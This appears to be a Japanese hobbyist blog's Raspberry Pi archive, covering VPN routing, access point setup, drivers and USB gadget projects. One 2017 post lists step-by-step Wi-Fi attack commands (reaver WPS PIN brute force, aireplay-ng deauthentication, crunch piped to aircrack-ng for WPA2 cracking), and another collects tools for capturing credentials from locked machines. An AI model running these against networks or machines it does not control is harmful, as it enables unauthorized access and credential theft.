Showing posts with label raspi. Show all posts
Showing posts with label raspi. Show all posts

Jan 3, 2020

ホームIoTのセキュリティ対策

◆目的

1.自宅で TV、スマホ、PC、その他まとめて Sophos UTMの傘で保護。
2.直結ISPやマンションのスーパーマニアからのプライバシ保護(クラウドSPからの保護は残課題)。

◆環境

こんな環境整備をやってみた。



◆前提

1. ラズパイ起動時に、Sophos UTMとの間で、SSL-VPNセッションを自動的に確立し、
 ラズパイがSSL-VPNクライアントとして動作済みとします。
関連
・OpenVPN linux client automatically at boot、メモ
 https://akasaka-taro.blogspot.com/2019/12/openvpn-linux-client-automatically-at.html

2. さらにラズパイををAccess Point化して
 各ホームデバイスからインターネットアクセス可能とします。
関連
・raspberry pi を access point 化 (2018/01/09)
 https://akasaka-taro.blogspot.com/2018/06/raspiap.html
3. ラズパイに有線LANアダプタを追加、eth1として稼働済みとします。
 TVは やはり有線接続することにしました。
関連
・有線LANアダプタ、ラズパイ(Debian系)用
 https://akasaka-taro.blogspot.com/2020/01/landebian.html

◆起動スクリプト

『前提』が整ったら、残るはmasquerading等の設定。
raspberry pi を access point 化』でも触れた起動スクリプトを、以下の通り変更。

iw phy0 interface add mon0 type monitor; ifconfig mon0 up

dnsmasq --interface=eth1  --except-interface=lo --bind-interfaces --dhcp-range=$DHCP-ETH01,12h --server=$DNS-ETH01

dnsmasq --interface=wlan0 --except-interface=lo --bind-interfaces --dhcp-range=$DHCP-WLAN0,12h --server=$DNS-WLAN0

sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE

iptables -A FORWARD -i tun0  -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan0 -o tun0  -j ACCEPT

iptables -A FORWARD -i tun0  -o eth1  -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i eth1  -o tun0  -j ACCEPT

sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"

sysctl -w net.ipv6.conf.all.disable_ipv6=1 && sysctl -w net.ipv6.conf.default.disable_ipv6=1

/usr/sbin/route add    -net $UTM-NET gw $MANSION-ROUTER eth0
/usr/sbin/route delete default gw $MANSION-ROUTER eth0
/usr/sbin/route add    default gw $SSL-VPN-ADDR-IN-UTM tun0

cat /etc/resolv.conf.new > /etc/resolv.conf

※上記変数について
$DHCP-ETH01: ケーブル接続クライアント向けにeth1で割り当てるDHCPレンジ
$DNS-ETH01: 上記レンジのDNSサーバIP
$DHCP-WLAN0: Wi-Fiクライアント向けにwlan0で割り当てるDHCPレンジ
$DNS-WLAN0: 上記レンジのDNSサーバIP
$MANSION-ROUTER: マンションの(直結・上位の)ルータIP
$SSL-VPN-ADDR-IN-UTM: UTM自身に割り当てられたSSL-VPNのIP

◆その他、追加設定

/etc/resolv.conf が書き換わらないようにする(今回の環境では、dnsmasqのDNS設定がクライアントに反映されるので、必須でもないのだが、念のため)。

1. # vi /etc/NetworkManager/NetworkManager.conf
[main]
plugins=ifupdown,keyfile
dns = none # この行を追加

2. # systemctl restart NetworkManager

参考
・[RHEL7]/etc/resolv.conf 強制上書き無効 (2017/10/20)
 https://qiita.com/a-hiroyuki/items/559ccde6d948d31af939



Jan 2, 2020

有線LANアダプタ、ラズパイ(Debian系)用

手元の Piで、ether i/fを追加したくなり、ポチッと入手。
Debian系Linuxで、apt install無しで認識・使えた。

・BUFFALO 有線LANアダプター LUA4-U3-AGTE-NBK ブラック
 Giga USB3.0対応 簡易パッケージ 【Nintendo Switch動作確認済み】
 https://www.amazon.co.jp/gp/product/B07VG66XX3

・追伸
 USBデバイスは Rubber Ducky もどきが入ってないのか気になる今日この頃。
 こればっかりは事前調査できない。有名メーカかつ極力シンプルな本品を選択。

Dec 10, 2019

AWUS036ACS driver for Linux

Install

# apt-get install -y realtek-rtl88xxau-dkms 
was the easiest way to install.

・環境
Debian系Linnuxraspi3B+)  APで試し中。良好な感触。

・試行錯誤経緯
本家 alfa.com.tw からダウンロードした内のMakefile には 
CONFIG_PLATFORM_ARM_RPI が無く、どうしたものか悩んでいた。
購入先 amazonのカスタマーレビューに有用情報があって助かった。というか、購入前にチェックして自分に宛てた備忘メールに書いていたでござる。

参考にしたところ

Alfa AWUS036ACS 802.11ac AC600 Wi-Fi Wireless Network Adapter

Customer reviews (2019.01.30)

This card is exactly what I needed in order to access nearby 2.4 ghz and 5 ghz channels while remaining discreet and not looking like a sketch weirdo with the huge wifi card plugged into my laptop.

This card is not plug and play for linux but all you have to do is install new realtek drivers and as you can see in my screenshots it works like a charm.. I live in an apartment building with 18 units and the card picked up about 25 SSIDs.

You can install the new drivers for debian linux (kali/parrot) with this command or something similar depending on your distro:

apt-get install -y realtek-rtl88xxau-dkms

Card was plug and play for windows 10.

Installing driver AWUS036AC Alfa (2016.06.18)

You can install this driver patched for Ubuntu kernels by running

sudo apt-get install rtl8812au-dkms

It is available for wily and xenial.
shareimprove this answer

alfa AWUS036AC USB WIFI adapter (2015/01/15)

With a working temporary internet connection:

sudo apt-get install linux-headers-generic build-essential git
cd rtl8812AU_8821AU_linux
make
sudo make install
sudo modprobe rtl8812au

It 'makes' with a couple of possibly harmless warnings but no errors on my system.

After Update Manager installs a later kernel version, also known as linux-image, and after the required reboot, recompile:

cd ~/rtl8812AU_8821AU_linux
make clean
make
sudo make install
sudo modprobe rtl8812au

Please retain the file and these instructions for that time. 』

おまけ ↓ 

Buffalo WLI-U2-KG54L で無線LANに接続 (2015/03/09)

『その1 ファイルの削除
端末から以下のコマンドで NetworkManager.state を削除する。(参照:1,2)
sudo service network-manager stop
sudo rm /var/lib/NetworkManager/NetworkManager.state
sudo service network-manager start
これで再起動後も自動で繋がるようになった。』



Dec 8, 2019

OpenVPN linux client automatically at boot、メモ

目的

ラズパイ起動時に、Sophos UTMとの間で、SSL-VPNセッションを自動的に確立する。

前提

Sophos UTM の基本設定は完了し、PCやスマホから手動でSSL-VPN接続して、インターネットWeb参照等できているものとします。
raspiの基本設定も同様に完了済みとします(Debian系ディストリビューション)。

導入

# apt install openvpn
 ※ OpenVPN≒SSL-VPN (ref. *1)

設定

1. Sophos UTMから証明書ファイルを取得
 (1) マネジメント>ユーザポータル>詳細タブで ユーザポータルページを有効にする。
 (2) VPNセッションを張りたいユーザの".ovpn"ファイルをダウンロード、
   /etc/openvpn/client/user0001.ovpn として保存。
 (3) ln -s /etc/openvpn/user0001.conf /etc/openvpn/client/user0001.ovpn
   (*.ovpn = *.conf として機能する)
2. SSL-VPNクライアントのクレデンシャル
 (1) 次のようにファイルを指定
      # vi /etc/openvpn/client/user0001.ovpn
    auth-user-pass /etc/openvpn/client/auth0001.txt
 (2) 上記TXTファイルの中身は次のように記述
  一行目:該当ユーザ名
  二行目:パスワード
  ※プレインテキストなのもどうかと思うが、
   rootでシングルユーザ前提の環境なら許容範囲か。
   念のため chmod 600 とかしておくと良いだろう(動作未確認)。

参考にしたところ

*1  よくある質問
 https://www.openvpn.jp/faq/
 『OpenVPNはSSL-VPNですか? はい』

・How to Connect to a VPN Automatically on Linux (2017.08.28)
 https://www.maketecheasier.com/connect-vpn-automatically-linux/

・Starting OpenVPN client automatically at boot
 https://askubuntu.com/questions/464264/starting-openvpn-client-automatically-at-boot

関連

・raspberry pi を access point 化 (2018.01.09)
 https://akasaka-taro.blogspot.com/2018/06/raspiap.html

Oct 17, 2019

メモ、NVIDIA Jetson Nano

・予習
この辺を見ておいた
NVIDIA JETSON NANO 開発者キットを動かすのに必要なもの (06/14)

・購入
本体。今日見たところ、スイッチサイエンスさんがお手頃価格。
・アマゾン
・スイッチサイエンス

ケース、電源、ファンもそろえた方が良いらしい。後日考えることに。
Jetson Nanoが使えるようになるまで (08/19)
micro USB Type-BでもOSは起動するが、
5V4A(内径2.1mm、外形5.5mm)のこっちを買っといた方が無難と良く分かる記事。

なお、J25部分の電源ジャックから給電する場合は、J48ピンをジャンパーでショートさせる。
ショートさせなければJ28 Micro-USBコネクタからの給電。

Jetson Nanoのファン購入に気をつけろ! (06/16)

・セットアップ
Jetson Nanoをセットアップしてディープラーニングで画像認識を試してみた (04/29)

焼くだけなら、本家サイト英語版も見やすくまとまっているので、一度見ておこう。
Getting Started With Jetson Nano Developer Kit

コマンドでチューニング
Jetson Nano関係のTIPSまとめ (10/07)

NVIDIA Jetson Nanoのサンプルアプリを動かしてみよう、Hello AI WorldTwo Days to a Demo (04/27)

以上


Apr 8, 2019

ラズパイ対抗の「Odroid-N2」--「Amlogic S922X」採用のシングルボードコンピュータ

(02/28)
『複数のベンチマークにおいて「Raspberry Pi 3」のおよそ7倍高速 ...
Ubuntu 18.04 LTSOSに対応し、同OS20231月まで正式にサポー ...
ギガビットイーサネットに対応

Jun 9, 2018

raspberry pi を access point 化

◆前提

クライアントデバイス → wlan0 → eth0 → 上位ルータ

interface (eth0, wlan0/mon0), routing, name resolution などは設定済み&稼働していること。

◆インストール

sudo apt-get update
sudo apt-get install hostapd dnsmasq

設定

NIC
vi /etc/network/interfaces
お好みで

hostapd.conf
vi /etc/hostapd/hostapd.conf
お好みで、、、コメント参照

hostapd
vi /etc/default/hostapd   # で下記一行を追加。
DAEMON_CONF=”/etc/hostapd/hostapd.conf”

dnsmasq.conf  
vi /etc/dnsmasq.conf  
ここも参考サイトをコピペでOK
私は、「listen-address」は設定なし(コメントアウト)しました。

nexmonパッチ対応。mon0インターフェイスアップ
iw phy0 interface add mon0 type monitor; ifconfig mon0 up

・起動
sudo service hostapd start
現状エラー発生していて、次のコマンドを使っている。
/usr/sbin/hostapd -B /etc/hostapd/hostapd.conf
sudo service dnsmasq start  ←きちんと設定を見直すと、/etc/rc.d/のデフォルトスクリプトで自動起動できるようになりました。2019.01.03 訂正

Masquerading (要注意: こっちで大幅変更 2019.01.03)
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"


◆参考にしたところ

・Raspberry Pi 3のWIFIをAPモードにする方法 (2017/07/05)
http://nw-electric.way-nifty.com/blog/2017/07/raspberry-pi-3w.html

・hostapd 設定 覚書 (2016/04/11)
https://qiita.com/JhonnyBravo/items/947e480f7f3eb0728e19

・hostapdが起動しない時の確認事項 (2017/05/28)
http://kosuke128.hatenadiary.jp/entry/2017/05/28/214224
nat 、iptables や
Wi-Fiドングルのドライバー hostapd.conf のdriver=rtl871xdrvなど、紹介されています。

・Hostapd Problems (2015/01/21)
https://www.raspberrypi.org/forums/viewtopic.php?t=97253

・Access point configuration problem on RPi3 (2018/02/06)
https://forums.kali.org/showthread.php?38920-Access-point-configuration-problem-on-RPi3
「最新raspberry piイメージは、内部Wi-Fiアダプタにnexmonパッチを含んでいて、
これは追加ステップを要する」との事。そのステップは次の通り
iw phy0 interface add mon0 type monitor; ifconfig mon0 up

この記事内のリンク先の起動シェルも参考になります。
https://github.com/Re4son/Kali-Pi/tr...r/Menus/RAS-AP

・mame82/P4wnP1_nexmon_additions
https://github.com/mame82/P4wnP1_nexmon_additions#access-point-mode-with-hostapd
ここにも mon0 や、nexmon の記載があります。

・hostapd will not start via “service” — but will start directly
https://unix.stackexchange.com/questions/119209/hostapd-will-not-start-via-service-but-will-start-directly
ここのNo.9 の /etc/network/interfaces に dhcpdやhostapdの起動を定義する方法も参照




Feb 12, 2018

メモ、Raspberry PiのGPIO概要 ほか

・第22回 Raspberry PiのGPIO概要 (2015/11/23)
 https://tool-lab.com/make/raspberrypi-startup-22/

・Raspberry PiのGPIO制御方法を確認する(GPIO制御編その1) (2013/12/29)
 https://tool-lab.com/2013/12/raspi-gpio-controlling-command-1/

・Raspberry Pi 3の GPIOに LEDとスイッチを接続して Lチカする方法 (2016/04/02)
 http://www.neko.ne.jp/~freewing/raspberry_pi/raspberry_pi_3_gpio_led_sw/

・モータードライバー(TA7291P)の使い方 [Arduino] (2017/04/03)
 https://www.petitmonte.com/robot/motor_driver_ta7291p.html

Jan 11, 2018

raspi 2/3 + TA7291P モータードライバ

以下ほぼ TA7291Pとraspi 2/3 の組み合わせのリンク紹介

Raspberry Pi 2でDCモーターを制御する (2015-07-07)
http://kaiware007.hatenablog.jp/entry/2015/07/07/024930
Raspberry Pi 2のピン配置
ブレッドボード図。シンプルで分かりやすい
コードについて、WiringPiをインストールし、g++でコンパイルする方式

Raspberry Pi 2でDCモーターを2つ制御する (2015-07-15)
http://kaiware007.hatenablog.jp/entry/2015/07/15/014119
PS3コントローラーでモーター制御
コードは、コンパイル方式

Raspberry pi 2 + モータードライバTA7291P (2016-01-16)
http://windvoice.hatenablog.jp/entry/2016/01/16/220541
モーターの回転速度、回転方向も含めて制御
コードは Python

Raspberry Pi 3でpythonを使いモータードライバーを使いモータを制御する! (2016/09/04)
https://qiita.com/RyosukeKamei/items/147de58738084826f749
コードは Python



Sep 21, 2017

週末に遊べるラズパイなど

・週末に遊べるラズパイ
 色々 興味深い

 ラズパイがファイアウォール付き無線LANルーターに変身、「LEDE」で簡単に (09/15)

Raspberry Pi Zero w (5) USB DACから音楽を再生(Raspbian) (05/06)

Raspberry Pi Zero(W)のセットアップ

Listen to Bluetooth Audio on Your Raspberry Pi 3, Pi Zero, or Earlier Pi (2016/03/14)

Sep 18, 2017

raspi0 + HID gadget、他に参考にしたところ


・Pi-zero-w HID keyboard layout (2017/04)
 https://raspberrypi.stackexchange.com/questions/64521/pi-zero-w-hid-keyboard-layout
 qwerty キーボードが azerty と認識される事例

・Pi Zero as a USB keyboard (HID gadget) (2016/06/18)
 https://www.raspberrypi.org/forums/viewtopic.php?t=151940
「needs USB Gadget mode enabled in the kernel and it looks like the current kernels don't have this in」
Raspbian Jessie Lite image dated 2016-05-27
 (Pi Zero rev 1.2 from 2015)での苦労話

 結論が見えない、というか、読み切れない

・Using RPi Zero as a Keyboard Part 1: Setup and device definition (06/26)
 https://www.rmedgar.com/blog/using-rpi-zero-as-keyboard-setup-and-device-definition

 対応Kernelは4.9?(2017-06-21-raspbian-jessie.img = Linux version 4.9.28-v7+)

 iSticktoit(2016/02、Kernel 4.4  http://akasaka-taro.blogspot.jp/2017/09/raspi0.html)から
 追加されているパラメータは次の5つ
 | bDeviceClass: USB class code, assigned by USB organization (format: 0x00)
 | bDeviceProtocol: USB protocol code, assigned by USB organization (format: 0x00)
 | bDeviceSubClass: USB subclass code, assigned by USB organization (format: 0x00)
 | bMaxPacketSize0: maximum packet size for the device, only possible values are 8, 16, 32, and 64 (format: 0x00)
 ...
 | bmAttributes: configuration characteristics (format: 0x00), can have the following values:
 |     7: bus powered
 |     6: self powered
 |     5: remote wakeup
 |     4 to 0: reserved


----------------------------------------------------- 08/15のメモ

$ sudo iwconfig wlan0 essid 「SSID」 key s:「パスフレーズ」

# vi /etc/network/interfaces
「iface wlan0 inet 」の設定をmanualからdhcpに変更。

# vi /etc/wpa_supplicant/wpa_supplicant.conf   # <- ref 1

ref:
  1) http://qiita.com/teao26/items/970a721b5351e4c9918c
  2) http://systemp.hatenablog.com/entry/2013/04/21/152453
  3) http://stejp.blogspot.jp/2010/08/wpasupplicantconf.html
  4) https://www.xmisao.com/2014/01/16/how-to-connect-wpa2-wireless-lan-using-wpa-supplicant.html
  5) http://yamaryu0508.hatenablog.com/entry/2014/08/15/001312


raspi0w + kali linux + how to enable wi-fi card


raspberry pi 用のkali linuxダウンロードサイト

https://www.offensive-security.com/kali-linux-arm-images/

以下、built-in wi-fi device (wlan0)が認識されなかった時の、対応手順


1)i installed kali on the sd card.

2)put the sd card in another pi using a usb to microsd adapter
 別の起動済みraspbian(pi)環境に SDカードを挿入

3)Then mount the 2 partitons from the card under /mnt and /mnt/boot
 mount /dev/sda2 /mnt/
 mount /dev/sda1 /mnt/boot/

4)rpi-update the kali image
 ROOT_PATH=/mnt BOOT_PATH=/mnt/boot rpi-update

5)change root to the kali image
 chroot /mnt/ /bin/bash

6)update the thing
 apt-get update
 apt-get upgrade

7)install the wireless driver
 apt-get install firmware-brcm80211

 ※ 手元の環境で「404  Not Found」エラーだが、
   それでも結果的にはwlan0が動くようになった

8)copy /lib/firmware/brcm/brcmfmac43430-sdio.txt from a rasbian image to /lib/firmware/brcm/brcmfmac43430-sdio.txt on kali

9)edit /etc/network/interfaces
 auto wlan0
 iface wlan0 inet dhcp
 wpa-ssid "mysupercoolssidofdoom"
 wpa-psk "mysupercoolpasswordofdoom"

10)exit the chroot, umount the partitons and eject the card

「That will get you kali on the pi zero w with wireless networking. But i cannot get bluetooth to work, and i soooooooo want to use my bluetooth keyboard with it. Sorry about my formatting typing this on my phone.」
だそうです。

参考にしたところ

・Re: Kali Linux Raspberry Pi Zero W - bluetooth (03/18)
 https://www.raspberrypi.org/forums/viewtopic.php?t=177530#p1133241
 ほぼ、ここの、まるうつしです。

・How To Set Up Kali Linux on the New $10 Raspberry Pi Zero W (07/22)
 https://null-byte.wonderhowto.com/how-to/set-up-kali-linux-new-10-raspberry-pi-zero-w-0176819/
 興味深いので、後日読んでみたい

・Re4son-Kernel for Raspberry Pi 1/2/3/Zero/Zero W (09/01)
 https://whitedome.com.au/re4son/re4son-kernel/
 コンパイル済みのカーネルの配布サイト

-- 2018.05.01 追記 -->

Kali Tutorials


---

5 Steps Wi-Fi


1.airmon-ng
2.airmon-ng stop wlan0
3.airodump-ng    wlan0

|Information:
|
| BSSID (Basic Service Set Identification): the MAC address of access point
| Beacons: Number of announcements packets sent by the AP
| #Data: Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
| #/s: Number of data packets per second measure over the last 10 seconds.
| MB: Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g.
| CIPHER: The cipher detected. TKIP is typically used with WPA and CCMP is typically used with WPA2.
| ESSID: Shows the wireless network name. The so-called “SSID”, which can be empty if SSID hiding is activated.

4.wash -i wlan0 -c "target channel" -C -s
  if the WPS Locked status is No, then we are ready to move to step 5.
5.reaver -i wlan0 -b "target mac" --fail-wait=360

---
breaking wpa2-psk (2016/02/21)

airodump-ng wlan0 --bssid "target mac" --channel "target channel" -w "target ap"

aireplay-ng --deauth 20 -a "target mac" wlan0: aireplay-ng --deauth 20 -a "target mac" wlan0

crunch 20 20 0123456789abcdefghijklmnopqrstuvwxyz | aircrack-ng -b "target mac" -x1 -y -w - "target ap".cap

WPA2 Brute Force
> ./crunch 8 8 1234567890abcdefghijklmnopqrstuvwxyz -t passw@@@| aircrack-ng -b  And Target BSSID

Aircrack can't take dictionary from stdin?
> echo mywpapassword | aircrack-ng -w - -e devnetwork /tmp/captures.cap

---
HowTo : Pause/Resume Aircrack-ng

where files are saved in the session? #234 (2015/03/29)
> /usr/local/etc/reaver/ or /etc/reaver/

reaver resume from certain pin nr. #233 (2015/03/29)


Sep 13, 2017

Snagging creds with USB Armory, Hak5 Turtle, raspi0+Responder+hashcat, Arduino, Bash Bunny

・Snagging creds from locked machines (2016/09/06)
 https://room362.com/post/2016/snagging-creds-from-locked-machines/
 有名ツール USB Armory ($155)、Hak5 Turtle ($49.99) の紹介
 Responder にも言及
 interfacesやdhcpd.conf の設定例あり

・Bash Bunny
 https://hakshop.com/products/bash-bunny
 有名ツール。$99.99 - $119.99

・Raspberry Pi Zero for credential snagging (2016/09/18)
 https://zone13.io/post/Raspberry-Pi-Zero-for-credential-snagging/
 Responder の記事
 Raspbian Jessie (I used Jessie Lite, Release date: 2016-05-27)を使用

 Cracking NTLMv2 responses captured using responder (2016/09/23)
 https://zone13.io/post/cracking-ntlmv2-responses-captured-using-responder/
 hashcatを使って事後、辞書攻撃

・pisponder
 https://github.com/dee-oh-double-gee/pisponder
 
・Vulnerability to Security Attacks in NDIS Drivers (04/20)
 https://docs.microsoft.com/en-us/windows-hardware/drivers/network/vulnerability-to-security-attacks-in-ndis-drivers

・USBポートを使ってPCを勝手に操作しちゃおう! (02/12)
 http://qiita.com/lowlevel/items/fc57a0c713e07e718918
 Arduino Micro の記事
 キーボードとして機能させるための設定やコードが極少量で手軽そう


raspi0 + USB gadgets

09/18 、以下、大幅改定

・Composite USB Gadgets on Raspberry Pi Zero (2016/02/22)

http://isticktoit.net/?p=1383
 Kernel 4.4  (2016.Feb版) 事例


・手順メモ


 手元の古いSD card (7.7GB)に Raspbianのimgを書いて
 冒頭サイトの通り、USB Gadgetのための環境構築。
 # uname -a
 Linux raspberrypi 4.9.35+ #1014 Fri Jun 30 14:34:49 BST 2017 armv6l GNU/Linux


 再起動後、状況確認
 起動時、スクリプトの ls /sys/class/udc > UDC で segmentation fault していた。

 segmentation faultの場合は、
 # rpi-update 2ca627126e49c152beb1bf7abd7122ce076dcc65
 として、ダウングレードすると良い。
 (カーネルバージョンは処々デリケートに影響するらしい)

 # reboot
 # uname -a
    Linux raspberrypi 4.4.49+ #968 Fri Feb 17 14:16:47 GMT 2017 armv6l GNU/Linux

 起動状態で、PCに接続済みのusbケーブルの一端を、OTGポートにつなぐと、
 キーボードとして認識されるようになり、
 コントロールパネル→デバイスにも表示されるようになった。
・図、キーボードドライバのインストールが開始された

・他に参考にしたところ

Turning your Raspberry PI Zero into a USB Gadget (2015-12-24--2016-08-21)
 https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget?view=all
 Serial Gadget, Ethernet Gadget について
 win、mac双方を意識した丁寧な説明。Bonjour にも言及

 ただし cmdline.txt に g_* を書き込む方法。
 手元では g_hidが見つからない旨のエラーメッセージ。

 Turning your Raspberry PI Zero into a USB Gadget (07/15)
 https://cdn-learn.adafruit.com/downloads/pdf/turning-your-raspberry-pi-zero-into-a-usb-gadget.pdf
 丁寧で分りやすい。これもadafruit.comから
 最終更新は2017.7だが、kernelと設定は May 2016 (4.4)固有の情報かも、
 と思って読むと良い

 これも cmdline.txt に g_* を書き込む方法。
 手元では g_hidが見つからない旨のエラーメッセージ。

 https://www.raspberrypi.org/forums/viewtopic.php?f=29&t=151940
 のmodprobeも参考にするか